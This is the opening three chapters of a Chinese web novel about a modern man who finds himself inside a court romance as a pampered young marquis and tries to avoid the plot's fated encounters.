《小侯爷只想跑路》
1. 第 1 章
“承天之佑,诸事顺意。”
夜色之下屋檐长街落霜,一人提着灯笼,步履匆匆。孟冬十月,京城萧瑟,唯剩灯纸上的一行小字依稀摇晃。
昭念把灯笼放于侯府的祠堂廊凳,抬手敲了敲窗框,唤了声“小侯爷”。
没人应。
于是再敲,力道依旧轻。
待唤第三声时,木窗忽的打开了。
一袭身影现的猝然。扶过底沿的手稍稍那么一撑,便蓦然轻跃,坐上了窗沿。来人寻了个舒服的姿势,双手环臂,背靠在镂空朱红雕花木窗,另一只腿悠悠折下。
风过檐牙,竹篾窗纸哗啦作响,惹得昭念心跟着一紧。
倚靠在窗栏上的,是个十六七的少年。
他身着鸦青色绣金相花对襟袄,宽肩窄腰,一束红丝将乌发拢在头后,灯烛在畔,垂下几缕坠于裘绒,下摆缀着羊脂白玉佩,风一吹,宛如拨了墨画涟漪。
对方搭着膝,正垂眸看向他。
正是他家小侯爷!
只是这如谪仙般好看的人儿,勾勾手,让他凑近了,压低的声音开口竟是:“没叫人发现吧?”
“没有。”昭念轻轻一笑,“属下办事一向滴水不漏。”
说着,他伸手探进裘皮外袍,从鼓鼓囊囊的怀里掏出个包紧的油纸,热气腾腾。烤红薯的香气霎时扑鼻而来。
“还滚烫着呢。”
昭念掀开油纸,捏住红薯一端,剥开烤焦的外皮,随即露出金黄色的薯肉,轻轻吹了吹,递给小公子。
洛千俞握在掌心抱着,果真烫手。
“公子,手炉还热吗?用不用给您换一个?”
“热着呢。离府前你不是刚送过?”
昭念点点头。可忍不住心想,方才他把烤红薯递过去时,触到少爷手指冰凉。
小侯爷学堂上用火折子把先生胡子烧了,后来在祠堂罚跪,距今已有三日。
祠堂那么冷,蒲团跪着硬,吃食也不好……小侯爷金尊玉贵,身子怎么受得住?
昭念没由得一阵心疼。
瞧着自家少爷吃东西的模样甚乖,热气染了长睫,惹得人微微眯起眼睛。霜落之际,耳朵连带面颊都红扑扑的,活像个锦玉雕琢的雪团子。
才不似那世人口中的放荡纨绔!如今世道真是人心不古,以讹传讹。
正发着呆,小侯爷却忽的压低声音,凑近了,胳膊肘碰了碰他肩膀,“阿念,我要的东西呢?”
昭念回过神来,心底一沉。
接着,磨磨蹭蹭从怀里掏出两本书,中缝偏薄,书衣下明晃晃分别写着:“风华传”、“玉庭记”。
小侯爷来了精神,问:“里头的主人公,可是我说的那个‘闻钰’?”
“是,两本都是。”
昭念翕动嘴唇,难掩忧虑之色,只好低声哄着,“公子,这些杂书看看解闷也就罢了,可千万莫让老爷夫人瞧见喽……”
“知道知道。”小侯爷摆摆手,显然是要撵客,“不早了,快去歇息罢。”
接着,小侯爷拽了拽书,发现没拽动。
“大胆。”小侯爷沉下脸色,佯怒道:“信不过自家主子?”
昭念连忙解释,“属下无此意!”
“那攥着做什么?”
昭念欲言又止,为难道:“公子,你已经被侯爷罚跪三日了,这三日遭了好些罪,吃不好睡不暖,若是再被老爷发现这书……”
小侯爷蹙起眉梢,无奈:“你若不放心,明个儿清晨过来取便是。”
昭念这才松下口气,立马交了书,快速说:“属下一早便来,公子小心睡过头了。”
“哼。”洛千俞抱着书和吃食跳下窗沿,回到一亩三分地的蒲团,不理他了。
昭念不忍离去,站在后窗左右张望半晌,越看越心软,又想着这样开着窗冷风会灌进祠堂,便赶紧关上,压个严实。
-
洛千俞听着人走远了,吃食搁到一旁,迅速将那两本古书置于蒲团上,依次翻开。
很快,便找到“闻钰”这个名字。
翻着翻着,洛千俞从满心期待到大失所望,这哪里是原著?分明是古代人写的肉香四溢同人小凰文嘛。
早知道一朝会穿越,他看书时就该养成良好习惯,至少每次留意一眼那该死的书名或是作者名,也不至于现在大海捞针!
没错。
眼下的一切……皆来自一本书的内容。
他可不是这个朝代的人,更不是什么金尊玉贵小侯爷。
这是一本万人迷古风朝堂文。古人所写,后被网络改编,连载期销量和人气相当高。
书中主角名叫闻钰,是京城享誉盛名的第一美人。整篇文讲述的便是美人考取功名,却含冤被贬,后阴差阳错初入官场,引起了各方大佬攻们的注意,被觊觎、强制、角逐买股的修罗场故事。
今夜之前,他让昭念在京城各大书铺寻找“主角是闻钰”的原著,也纯粹是碰碰运气。这书究竟是野史还是架空朝代都存在争议,也说不定,此时这本书还没被写出来呢。
按道理,他穿到了极好的人家。
世袭爵位,开国元勋,三代忠良。
父亲身披宫变救驾之功,圣眷正浓,母亲乃国公府之女,诰命在身。如此高官显爵出身,从小被视若珍宝的贵子,便是嫡长子洛千俞。
这是穿书者们烧穿了高香都求不得的神仙开局。
可偏偏,他也是书中美人受的狂热追求者、稳居榜单名列前茅的热门买股攻之一!
按照原著中所写,洛千俞自小锦衣玉食,养尊处优,与皇帝一同长大,是被捧在心尖上养着的金疙瘩。
如此,人也被养坏了。前朝那场载入史册的宫变距今已过三年,江山易主,在这之后他更长成个不折不扣的纨绔子弟。喝花酒,逛戏楼,骑马闯闹市……洛侯之子骄纵成性,嚣张跋扈在京城里倒是出了名的。
而这个恣肆骄横、不可一世的贵家世子,竟偏偏对那京城第一美人动了情。后期敛了心性,尽管经常不做人事,却难得是个专情不渝的。
所以意外的,他和闻钰的CP粉并不少。除去痴情这点,读者喜欢书中作者对小侯爷毫不吝啬的容貌赞美,以及众多买股攻中独一份儿的、意气风发的少年心性。
甚至,他在贴吧和各大同人网站还有粉丝应援口号,所谓:
“折扇欲语还休,千遇不如一俞。”
洛千俞在蒲团上翻了个面,外袍垫在身下,一边仰躺,又举起那摇摇欲坠的书本来,二郎腿轻翘。
他的缺陷也尤为致命。
虽家世显赫,小侯爷在竞争者中却没什么优势,他娇生惯养,武力值不够,提笔写的诗文更是让国师默了又一默。说难听了,就是个皮囊漂亮的花架子。
这也多少奠定了小侯爷后期下场凄惨的结局,按照书中所写──他被其他攻一招撂倒,两根手指就废了腿。
自此,灵气傲骨荡然无存。
书页覆上面庞,小公子没绷住,脑中狂风呼啸。
居然用两根手指就让他成了残废……这天杀的狗作者,不谈别的,生理角度上这设定合理吗?用的究竟是哪两根,大拇指和食指?
还是食指和中指!?
这小侯爷得嫩成什么样?
洛千俞将书扔到一旁,心中郁着飘飘愁云,遂闭目养神。他想,今后的日子是否依照那本书中剧情发展还有待证实,但首先……必须改了这身娇弱身骨。
起码别真被人家两根手指废了腿,丢人。
洛千俞将那柄精致鎏金手炉置于怀中,余温尚热,外袍盖身,身旁是花纹浮雕的火盆儿,炭火正旺,焰星跳跃,方便熏着吃食。
木炭掀滚,偶尔发出噼啪声响,与淡淡檀香混杂,有些催眠。
他竟迷迷糊糊睡了过去。
再睁眼时,洛千俞听到远处打更声。不久,祠堂外灯笼闪过,下人们开始忙碌,他瞥见烛火摇曳,而窗外月挂中天。
天还黑着呢。
刚寅时,他爹就要起床上早朝了。
洛千俞予以深深同情。翻了个身,刚欲继续睡下,却忽闻女人哭声,夹杂痛骂,听不真切。窗外提灯走过的下人们低声耳语:小侯爷跪了三日,孙夫人便哭闹了三日。
洛千俞猛的坐起身,睡意全无。
照这个架势,不多会儿闹到祠堂,保不齐来个突击检查。
书!连带只剩皮的烤红薯和栗子煎碧玉糕的油纸,统统藏好了,才坐回垫子,姿势标准地跪好。
暗暗思量,又觉太假。于是将头轻靠蒲团,俯下身趴好,假装是跪着睡着了。只是,那垫子太软太滑,一个不留神滑下蒲团,膝盖便直接跪上了冷硬地面。
洛千俞一咬牙,疼得轻吸了口气。
约莫过去半个时辰,果然有脚步声由远及近,直奔主堂而来。
洛千俞怕被看出端倪,姿势未动。待那人走到近前,蹲下身,似在仔细瞧他。
正犹豫着是否顺势而醒,忽然,自己袖中冷掉的手炉被抽了出去。怔神间,便被换了一柄滚热手炉,左袖手炉也被安置,就连怀里都被塞了新灌的汤婆子。
热意很快透过中单,沿着夹衣暖进肌理,攒了一夜的寒气瞬时被驱散开来,舒适的打紧。
手指细润无茧,动作细致轻柔,又生怕将他吵醒,况且这个时辰能到访祠堂的……想必这是他的母亲,孙夫人。
下一刻,自己的衣袖被极轻地卷起,露出白皙如玉的前臂,再朝上卷,肘处已磨得泛红。
“为娘的心肝呦…”
孙夫人抹着眼泪,一边拿出备好的竹罐,蘸了药膏,小心翼翼涂抹在红肿处。
耳边是压低了的啜泣声。
洛千俞身形略僵,他穿书前,母亲离世早,如此细致关怀于他来说到底陌生。竟有些不知所措。
抹了两个胳膊肘,孙氏又掀开锦袍,卷起裤管,将小腿露了出来。再往上卷……就是膝盖了。
洛千俞心道不好。
这三日没少偷懒,真正老老实实罚跪的时辰撑死都超不过一日,捅了这么大篓子,态度端正与否,不在于巧舌如簧,倒是很大程度上反映在膝盖上,恐怕要露馅。
果然,双膝一露,身旁妇人动作随之凝滞。
下一刻,却听到孙氏倒吸口凉气的声音。
“日你个杀千刀的!!”
这一声高亢清透,震耳欲聋,有穿云裂石之势,余音绕梁而不绝。
洛千俞浑身一震,如何再也装睡不下去了。
他撑起身子,转头望去,发现孙夫人已然大刀阔斧冲出堂厅。携着一股凌厉风声,气势汹汹。
洛千俞心下愕然,
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下意识看向双膝,不看则已,这一看,连自己都跟着怔住。不知是那一日之功,还是方才磕了那么一下,自己没觉得受罪,此刻皮肉竟红得厉害,愈有肿涨青紫之势。
这次,远处主屋的争吵声响破云霄,下人们噤若寒蝉。
不久,孙氏折返祠堂,这次身边跟了几名小厮丫鬟,还有昭念。
“快,将你家公子扶起来!”孙氏命道。
昭念先蹲下了身,扶少爷起身时,却被捏了手心,对方朝他使了使眼色。
昭念心下了然,朝他眨眼,示意明白了。
待两名下人搀扶着小侯爷出了祠堂,昭念没急着走,在祠堂角落里翻找起来,后察觉不对,重新回到罚跪的位置。
──原来是藏在了蒲团之下。
昭念把书塞入怀内,连带着油纸也一并处理了。
-
主屋内。
洛千俞坐在梅花傲雪雕纹圈椅上,打了个哈欠,裤管卷着,任由侯爷背着手,与孙氏一起盯着他膝处看。
老妈子头上滚汗,忙不迭解释,“夫人嘱咐过的,老婢怎会怠慢少爷?那可是府里最软最厚的蒲团,特意缝了三层垫子。”说的绘声绘色煞有其事的,还特地配合竖了三根手指。
……
“没用的东西。”老侯爷脸色不甚好看,直起身,僵硬侧过了脸,训斥道:“才跪了多久,腿肿成这样,以后如何成事。”
孙夫人哭道:“老爷,你怎如此狠心?我儿自幼金尊玉贵,何曾受过这般苦楚?皮肉嫩些,又不是坏事,岂成了他的过错!”
“并非坏事?这难不成是好事?你倒是说说,究竟好在了哪里!”
…
洛千俞听得脸都烧起来了。
他抿着唇畔,臊的一言不发,低头盯着鞋尖,心想这哪是维护,简直他娘的二次公开处刑。
孙氏命丫鬟呈来一碗热姜汤,这时到了,她无心恋战,小心端过,催着洛千俞趁热喝了大半,驱逐寒气。
孙夫人揉着小侯爷肩头的狐裘毛领,安抚似的向下搓搓肱臂,帕子拭去他额角细汗,心疼道:“乖乖,东郎桥外的鼓楼集市后日便开了,你不是一直惦记着想去?这两日趁着学堂告了假,尽兴玩玩才是。”
“马上就要会试了,还想着玩!”
孙夫人挺直脊梁,“会试就不准我儿喘口气?你这几日-逼他罚跪,逼他反省,横竖又耽误了千俞多少用功的时辰!”
老侯爷手指洛千俞,气得直哆嗦:“我耽误他?明明是他自己不思进取自甘堕落!在学堂玩火折子玩到人家国子监祭酒身上,古今中外闻所未闻,简直是大逆不道!都是你平日里惯的……”
眼看着零星唾沫飞溅而来,洛千俞不动声色往后退了退,被吵得头疼。
谁能想到外头看上去高贵严雅风华亮丽的侯爷府,内里却如寻常人家般鸡飞狗跳、津沫横飞,甚至更甚。
恰逢此时,小厮进来传话:“老爷,马车备好了。”
这声打断来的恰到好处。
老侯爷掸了外袍,铁青着脸唤人系带。
他人高马大,体魄强健,祖上三辈皆是如此。想想自己年轻时,随父征战沙场,大杀四方,魁梧英勇之姿如入无人之境。竟不知自己是怎么生出如此娇贵又皮肉细嫩的孩子?
忍不住又瞥了眼洛千俞红得厉害的小腿和膝盖,有愈渐青紫之势。终究还是放缓眉梢,叹了口气,冷着语调:“肿了就去敷药,留在这儿做甚?”
这显然是松了口。
公子不用再罚跪了!
原本是要罚五日的,现在改成了三日,甚至还能赶得上后天的鼓楼夜市儿。
昭念面色涌上欣喜,忙从一旁倾身扶起小公子,却见小侯爷身子僵在原地,不仅未动,似是愣了神。
等等,东郎桥、鼓楼集市……
刚才孙夫人说的,可是东郎桥的那场灯会?
熟悉的名字一拼凑,倒勾起了他看原著时的记忆,思绪流转,洛千俞心上骇然,霎时警铃大作。
大名鼎鼎的夜市剧情这就来了?
此时书中剧情刚进行到5%,闻钰已离开京城三年,此番为母寻医,遂偷偷返京,没想到才不久便遇见了书中第一个经典剧情——“小侯爷骑马闯夜市”。
他也是全书第一位出场的攻。
小侯爷忽觉头皮突突直跳,好似一盆冷水从头浇到了脚,百骸皆寒。原以为一朝穿越,怎么还能再潇洒两年,结果这么快就开始走剧情了?
自此往后,他吃尽爱情的苦,乃至牵连本家,背后无人,最后落得个身心皆残、客死他乡的好下场?
不行。
这爱情的苦他吃不了。
只是,如何保证自己绝无任何机会与主角闻钰初遇?唯恐原著不可抗力,变故多生,若想未焚徒薪,恐怕他要有一个‘两日内绝对无法离开府邸’的理由。
老侯爷洛镇川吐出口浊气,终究涌出了点儿心疼懊悔。他正了正衣襟,着一身深蓝色麒麟踏云盘领右衽袍,头戴进贤冠,由着侍从系好革带,穿戴整齐。
却听身后扑通一声。动静不小,引其回首。
一众诧异目光下。
洛千俞跪下,头磕上青石板,动作很是丝滑:“爹,昨夜我在祠堂通宵看完了两本凰书。”
“您有种再罚我两日罢。”
2. 第 2 章
此话一出,堂厅阒然无声。
孙夫人帕子吓掉了地,丫鬟不敢去捡,慌忙瞥向侯爷的脸色。
“你方才说什么?”
昭念惊得一头冷汗,魂飞魄散。
却反应最快,赶在小侯爷再语出惊人什么来之前,砰的单膝跪下,垂声解释:
“老爷,少爷说的这书乃王夫之所著,阐述政论之道。是属下夜半送去的祠堂,公子先前通读了第三四卷《任官》、《宰制》,但因这几日罚跪,耽误了进度,只得在祠堂里借着微弱烛火通宵翻阅。”
“少爷唯恐您怪罪属下擅自送书,便主动提了这茬儿,又将罪责揽在自己身上。”昭念一边说,一边挡在小侯爷身前,俯身磕了个头,言辞正直恳切:“临近会试,少爷虽因顽皮被罚,却仍不忘笃学用功,是一心在悔过啊!”
……
洛千俞讶然。本正盘算着如何将这把火烧得更旺些,谁知被昭念一盆水浇灭了,就着余烬还开出朵花来。
他家侍读这张嘴,不仅把黑的说成白的,还兼具正史考据,前后因果自洽,好一个‘笃学用功,一心悔过’!
老侯爷还未发难,这下眉头果然见缓,凛然目光倒多了几分探究,狐疑着开口,“他说的可都当真?”
那书现在就在昭念身上,此番若说了实话,昭念也要跟着遭殃!
洛千俞:“呃……”
“难得你有心了。”洛镇川打断,这才打量自家世子,这次膝盖直愣愣磕了石砖,不知又暗自吃疼成什么样。他低声叹口气,有些无奈:“你勤勉刻苦,你老子我高兴欣慰还来不及,算什么罪责?…起来吧。”
“这两日准你出去,休要闹事闯祸,切莫玩得太晚,让你母亲担心。”
洛千俞:“……”
折腾这一通,终于收获了二老双重支持。
老侯爷赶着去早朝,小侯爷则‘如愿’回了自己的锦麟院。丫鬟寝室内隐隐腾着香,四盏围炉烧着,热烘烘扑向面门,手脚彻底回了暖。
洛千俞一觉睡到日昳之后。待悠悠转醒,黄昏拂过了柳梢头,正在掌灯的丫鬟闻见小侯爷醒了,拉开床幔,匆匆备好洗脸水、香胰子,便捧了铜盆来,伺候公子洗脸。
不久,彩月匆匆进了内间,手里拿着个细长物件,用布料包着,欲言又止:“少爷…”
洛千俞正吃着点心,“何事?但说无妨。”
“公子,前两日城中有个算命先生被请到府中。”彩月说得犹豫,支支吾吾,“他说……若指望公子此次春闱顺利,需投些好彩头。”
洛千俞“唔”了声。这不是好事吗?这小姐姐怎么一副天塌了的表情。
彩月瞥着小侯爷脸色,这才哆哆嗦嗦把布料掀开,露出里面金色的折扇来。
洛千俞一愣。
世人皆知,侯府家的洛小侯爷喜好折扇,平日几乎扇不离手。
而私下里他最喜爱把玩的,便是金色这柄──此扇名为洒金扇,原是宫中才有的稀罕物,扇骨以象牙雕琢,檀香为引,纱罗作沿。每展开便掀起一阵清风。
浪荡纨绔的标配嘛。
洛千俞拿过折扇,顺手展开,随后便瞧见上面兀然多了行云流水的字迹──‘金榜题名,一举高中’,看墨水像是新写的,十分突兀。
“…嗯?”
“那老术士在您最爱的扇子上题了字。”彩月额角冒汗:“说是公子每扇一次,会试名次便会前进一名。”
洛千俞:“……”
天杀的,这也太丢人了。
让他以后怎么腆着老脸把扇子带街上去?杀人诛心啊。
另一名丫鬟忍不住笑,被彩月瞪了眼,才堪堪憋住。
“可惜了这扇子。”洛千俞叹了口气,折起扇面,颇为惋惜,“彩月,先收起来吧。”
…
“收起来做什么?”
锦麟院热闹之际,一道清朗声音兀然响起,有脚步声由远及近,清脆利落,丫鬟不自觉停了嬉闹。
那人一伸手,轻巧掀开棉帘,落了霜气的狐裘携进一袭凉意,却无法掩下不速之客的雍容贵气。
洛千俞看清了对方的相貌。
脑海里瞬间跳出一个名字──楼衔。
楼衔的父亲乃镇国将军楼大人,是兵马大元帅洛侯的得力属下,而到了儿子这一辈,楼衔就是他这个纨绔的小跟班,俩人在一起没少干坏事儿。
作为众多买股攻之一,楼衔戏份不算多,真人看起来更加鲜活。
只是,CP粉太少,自从遇到主角受闻钰,就像头盯上肉的恶狼,顶多落得个长相不错,富二代的好处。
洛千俞暗忖,这人设和自己有区别吗?怎么他和闻钰的CP粉那么多?
这人造访的突然,洛千俞刚刚涂了药,腿和膝处还露在外面。见生人进来,便随手扯过搭在椅背上的锦袍盖上腿。
“愈发没规矩了。”洛千俞微微蹙眉,低声训斥道:“侯府是你家后院?梢间说进就进,连主人都不用通报了。”
楼衔一怔,有些心虚,声音也跟着小了几分,“我是常客,你家侍卫自然对我不设防…”他走到近前,注意力似乎只留在洛千俞锦袍之下,“腿怎么回事?怎的见到我忽然遮起来?”
“火折子那事儿,你爹可有罚你?怎么罚的?”楼衔没敢直接挨着小侯爷坐床边,只拉了把椅子坐下,“这三日你闭门不出,学堂也没去,你家小厮不肯与我说,可叫我担心死了……”
洛千俞实在不想提这事,便敷衍道:“担心什么?不过是罚跪几日罢了。”
“罚跪几日?说的轻巧,你身子怎能撑得住?”楼衔一听,神色反而严肃起来。旋即蹲下身,握住了锦袍一角,哄着小侯爷:“祖宗,让我看看。”
“不成。”
洛千俞将锦袍从人手里抽出,求了几次,依旧不肯,一刻钟后,最终被磨得不耐烦,给了楼衔脑袋一锤,随手扔了盖在腿上的外袍。
下一刻,楼衔轻吸了口气。
小侯爷膝处红肿不堪,几处乌乌紫紫,与衣摆下雪白的皮肉相衬,显得触目惊心。
他直接炸了锅:“你爹这次下手这么狠?他怎么舍得!”
洛千俞捂住他嘴:“你再嚷嚷,整个京城都知道了。”
楼衔眨眨眼,握住他手腕,眉梢浮上些许懊恼委屈:“你可曾抹了药膏?我爹从西域带了罐外伤密药,平日备在马车里,让我家侍从送过来,我帮你抹上……”
“用不着,只是看着严重,不耽误走路。”洛千俞把人叫住,这倒不是假话,他甚至现在还能绕着侯府七进院子跑个来回,“你这个时辰来,恐怕不只为了问疾吧?”
楼衔这才想起来此行目的,点点头:“我们不是约好了,今晚去城南的戏院吗?”
洛千俞心道果然如此。
这个不学好的,果然是拉他出去浪。
“不去。”小侯爷回的迅速决然。
“什么?”楼衔没反应过来,以往这种事,小侯爷不是最积极吗?
他忙问:“祖宗,你怎能不去?”
“就说我染了风寒,身体抱恙,去不了。”
“不能说身体抱恙!小侯爷,今夜就算是爬,也得爬过去。”楼衔急道。
洛千俞眼角一抽:“怎么,这戏楼老板是京城恶霸,还随机抽取顾客,强制消费不成?”
楼衔只觉这话遣词用句奇怪,但也听懂了大概意思:“非也。”
“你前些天看上了那家戏楼新晋的名角儿,正值她今宵作场,你不是和戏楼老板约好了,今夜包场吗?”
小侯爷一怔。
楼衔低声道:“好多宾客公子奔着不要钱的酒水茶水来,听说还能看到名旦献艺,你若是不去,先不说戏楼老板依不依,要是那戏子嘴里没个把式,把你放鸽子的事说出去,岂不是成了整个京城的笑话?”
洛千俞面庞浮上讶意。
穿来之前,竟忘了还有这档子事。
他算是听明白了。
感情这小侯爷提前几日就包了场,还跟那角儿约好了,演出当晚,全场消费由他买单,但碍于他爹,还不能让宾客们知道请客的是他,只知道是个为美人一掷千金的款儿爷。
小侯爷气得磨牙。
“怎么了?你不是对那戏子很合意?”楼衔浑然不觉,接过丫鬟端来的热茶,“我派人打听
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过她的底细,并无殊异之处,是个苦命人罢了,到底是个绝色,你日后腻了,弃了便是。”
洛千俞叹了口气。
自动把楼衔毁三观的话屏蔽,这个时候的小侯爷还没遇见闻钰,自然觉得这戏子是绝色。一切的前提,都是主角受闻钰出场之前。
见过闻钰,先前看过的美人都会黯然失色,正所谓‘众里嫣然通一顾,人间颜色如尘土’。
但这些都是后话了。
这个时候的闻钰,大概率已经抵达京城,正为母求医,不大可能出现在这种风花雪月场。
洛千俞心思活络起来,穿书至今,他还从没去过真正古代的戏楼逛逛呢,确实有些新奇。
楼衔见小爷松动,唤丫鬟帮忙宽衣,小侯爷嫌梢间太热,便去了次间宽衣。
内间安静下来,楼衔喉结微动,悄摸摸便靠着小侯爷的床边坐下。世子身娇体贵,铺的床褥也格外松软,拳头向下摁了摁,估摸着得有两三层,隐约有丝似有若无的香气。
楼衔拿过床头那把金色折扇,是小侯爷不离手的物件,想着待会儿一定带了去。
只是,方才无意压下的那处凹陷,使得枕头下滑落出一隅书角。
看起来有两本。
这是……?
—
傍晚之际。
一辆马车停至一幢建筑前。
抬头望去,那戏楼灯火通明,雕梁画栋,三层飞檐翘角。虽说是风花雪月场,却莫名有几分仙风道骨之感。
掀开帘幕,他们被恭候多时的侍者引领着,从侧门进去。
四楼是单独建出的小阁楼,也是戏楼视角最佳、最为华丽的雅间。
不仅桌椅、盆景和书画都比外面精致许多,甚至还有卧榻。
小侯爷心里在滴血,但小侯爷不说。
这可是砸钱包场才换来的最高VIP总统房啊,追星不是这么追的。
另外,此戏楼名叫“摘仙楼”。
印象不深,但洛千俞却莫名觉得耳熟,似乎有个不怕死的炮灰曾经有过这么一句调戏主角受的谑语:“这大名鼎鼎的摘仙楼,竟真让我遇见了谪仙般的美人。只是不知,仙子可愿让爷摘?”
戏楼老板正忙得头顶冒汗。听小二传话,说小侯爷已经到了摘仙楼,眼睛猛地一亮,片刻不敢耽误,忙不迭整理衣襟,朝那雅间赶去。
一进门,便见到那雍容雅贵的小公子,老板脸上堆着笑,忙搓手行礼:“两位小爷光临寒舍,实乃让这摘仙楼蓬荜生辉,是我老于几辈修来的福气……”
楼衔有些不耐烦,摆摆手打断:“那角儿呢?”
“回公子,正备着呐,等会儿就上台,我先让她来咱雅间给爷瞧瞧。”戏楼老板脸上堆着笑:“先前公子嫌这角儿名字难听,这几日我们琢磨许久,特意改了,如今赐名‘柳儿’。”
……
柳儿?
洛千俞微微怔愣,心随即猛地一跳。
这戏子的名字何止耳熟。
脑海里跟着浮现一句书中台词,同前一样,大概也是某个炮灰冒犯闻钰的话:
──“你与那一曲名京城的柳儿比,孰美?”
难不成在他出场之前,闻钰在这摘仙楼还有一段剧情?
雕花窗棂半掩着,透过窗子,可以将整个戏台尽收眼底。一名新来的小二进了雅间,陆续送齐果盘、茶点和几样可口小菜,正端着一壶热好的女儿红进来。
小二心跳的厉害。
今日当班的和他偷偷透了底,说那包场的可不是什么荒淫无度的老爷,而是侯府家最宝贝的小世子。
听闻洛小侯爷愿为美色一掷千金,可不知自己也是那人人骛之的无边美色。甚至传说,洛千俞和当年那京城第一美人状元郎相比,只有过之而无不及。
今日终于能得偿所愿,窥伺那盛世真容。
待他小心翼翼倒了酒,手心便已紧张的冒汗,没等说几句事先想好奉承的吉祥话,却忽然见小侯爷站起身来。
“包场的银两已交由你家掌柜。”小侯爷站起身,视线并未落在他身上,抱拳作揖,声音清朗:
“我家走水了,先告辞。”
3. 第 3 章
楼衔面露诧异,忙起身把人拦下,“好端端的,走什么水?”
见小侯爷都不和他解释,只欲离开此地,楼衔视线巡过一圈,心中忽然有了一二头绪。
方才,恰好这戏楼老板提了一句要让那柳儿来雅间瞧瞧,小侯爷便起身要走,难不成……和那柳儿连见上一面都紧张?
楼衔微微皱眉。
莫非真对这戏子上了心?
恰逢此时,雅间门外传来轻盈脚步声,一个娇娇柔柔的女人声音响起:“奴家前来拜见二位公子。”
戏楼于老板不明所以,只当是这两位小爷闹了别扭,拿走水说笑呢,便赔着笑,赶忙开门让那柳儿进了雅间。
随那脚步声走近,两人不约而同抬头望去。
雅间内烛火通明,只见那名旦着一袭华丽戏服,衬得头冠流光溢彩。说是‘眉如远山含烟,眼似秋水盈盈’也不为过,宛若画中走出来的人儿。
“小侯爷,楼公子。”戏子朝他们行了礼,拘谨的声音隐带柔情,“小女子柳儿,特向二位公子请安。”
洛千俞心想,人家能成为名旦是有原因的,顶着这样一张脸,声音像张飞都能座无虚席。
只是他无心看戏,自然也无法对佳人走心。
“请起。”洛千俞心不在此,无话找话:“几日不见,姑娘消瘦了。”
那柳儿一怔,像是没料到会被关心身体如何,只语塞几秒,便轻声答:“多谢小侯爷关心,近日练唱勤了些,奴家怕今日出丑,惹得公子笑话。”
“怎么会?”小侯爷尬聊道:“身体乃本钱,还是要多加保重。”
柳儿蹲安:“是。”
“家中可还好?”
“得公子抬爱,家中一切安好。”
楼衔双手抱胸在旁边看着,这一问一答的,倒比明面上调情还要蜜里调油。
旁边的于老板催促:“柳儿,待会儿就要上台了,快给两位贵客敬个酒。”
这便是戏楼不成文的暗号,名旦上台前,先去见过为自己一掷千金的贵客金主,打着敬酒的幌子,趁机搂个腰,捏捏小手什么的,只要不太过分,基本都被默许。
柳儿端起女儿红,斟了两个酒杯,自己举起一个,另一杯递给小侯爷。
只是小侯爷像个木头,不解风情地只喝酒,便只好主动一些,小手摸上了小侯爷垂在身畔的那只手。
洛千俞头皮一麻,紧急后撤一步,抽出身,避开了柳儿的手。
于老板:“?”
柳儿:“?”
楼衔跟着一愣。
洛千俞心中大窘。
不是他不给美人面子,因为提前看过原著的他知道,那京城当今最火的名角儿,其实是个彻头彻尾的男人!
柳儿真名叫柳苏全,书中鼎鼎有名的女装大佬,是读者们喜闻乐见的人设,甚至在原书的中后期仍有戏份。
他是个直的,也知道这名旦摘了花冠,卸了妆黄,皮下其实是个男人,所以忍不住对这柳儿的亲密接触避之不及。来戏楼看看戏也就罢了,包场也就包了,但对男人他真的不行,男扮女装也不行。
楼衔见洛千俞如此局促,自幼相识,他何时见过这样的小侯爷?
心中猜想更甚。
一杯酒下肚,热意直奔喉头胸腔,驱散了寒意。待于老板和柳儿撤出雅间,洛千俞也冷静下来,思绪清晰了不少。
夜市在两天后,在此之前,书中未曾描写小侯爷只言片语,只有主角闻钰的悲惨遭遇和回京之旅。
所以,反正没到他出场的章节,两人便不会交汇,他没必要草木皆兵。
故事的源头,是两日后他骑马闯夜市,差点踩死了一个卖糖葫芦的小姑娘,而闻钰在此时出手相救,小侯爷对美人一见钟情。
说起来,那匹马便是楼衔送他的礼物。
现在还没到货。
洛千俞抬头瞥向罪魁祸首。
楼衔正握着酒杯,被看的颇不自在,“小爷,盯着我看做什么?看的我心里发毛。”
“楼衔。”洛千俞不答,却微微倾过身。
“?!”楼衔喉结微动,维持着原姿势动也不是,不动也不是。
“你近日不会是在琢磨着,想要送我什么吧?”
话音刚落,楼衔心尖一跳。
他确实要送给小侯爷一头鹰。
可是这事他严格保密,并未告诉任何人,唯有天知地知,他知……还有他的随身侍从知。
“没有啊,哪里的话。”楼衔瞪向侍从。
小厮无辜地小幅度摇头,表示自己什么都没说。
洛千俞果然看出端倪,脑仁发痛,叮咛道:“你趁早歇了这个心思。”
“我什么都不要,也什么都不缺,你送了我反而生气,知道吗?”
楼衔心中诧异。小侯爷曾几何时说过这种话?看来这次被老侯爷罚的太重,心中生了委屈,不敢再造次放纵,便说了些口是心非的倔强话。便敷衍着点了点头。
夜色渐浓,华灯初上。
不久,随着一声清亮悠扬的唱腔响起,柳儿缓缓步入戏台,朱唇轻启。
台下宾客满座,皆被这一声引了注意。说起来,这名旦不仅会唱痴男怨女缠绵悱恻,更擅长唱英雄豪杰凌云志,唱至慷慨激昂处,又转而道出功败垂成的衷肠遗憾来。
即使不常听戏,也被带动情绪,沉醉其中。
雅间的门半敞着,这时,一小厮匆匆赶来,朝小侯爷行了礼,便小步跑到楼衔身边,附耳低语:“公子,卖鹰的商人到了。”
“劳烦公子去一趟。”
楼衔挑眉,指尖敲着桌沿,低声道:“给钱就是,我去做什么?”
小厮满头是汗,“本就言语不通,那番人便嚷嚷着,说要见真正的买主一面,才肯交货。”
楼衔低骂了一句,看向正在认真听戏的小侯爷,犹豫片刻,起身离去:“我下趟楼,去去便回。”
洛千俞听得正起劲儿,应了声。
一曲唱毕,意犹未尽。
下一曲通常会隔上一刻钟,期间宾客可谈论戏曲,或与熟人寒暄,吃吃茶点,甚至处理私人杂事。
洛千俞发现这楼衔去了许久,只留个侍从在这儿,便觉百无聊赖,心想先下楼解个手,若是这厮还不回来,听完这曲就回去吧。
摘仙楼算是京城数一数二的戏楼,茅房修的不远,熟悉的贵客更是给单独修缮了精致厕房,但解了手,返回四楼雅间的路上,必然会途经人来人往的楼梯。
刚走上二楼廊栏边的缓台,迎面下来了五六个人,他们服饰华丽,有人披着锦花披风,衣襟上绣了繁复图案,中单都是丝绸的,与寻常看客不同,几人显然一副达官贵族的打扮。
洛千俞并未留意,与这一群人擦肩而过。
只是,离他最近的男人在身后忽然开了口:
“这大名鼎鼎的摘仙楼,竟真让咱遇见了谪仙般的美人。只是不知,那仙子可愿凡人摘?”
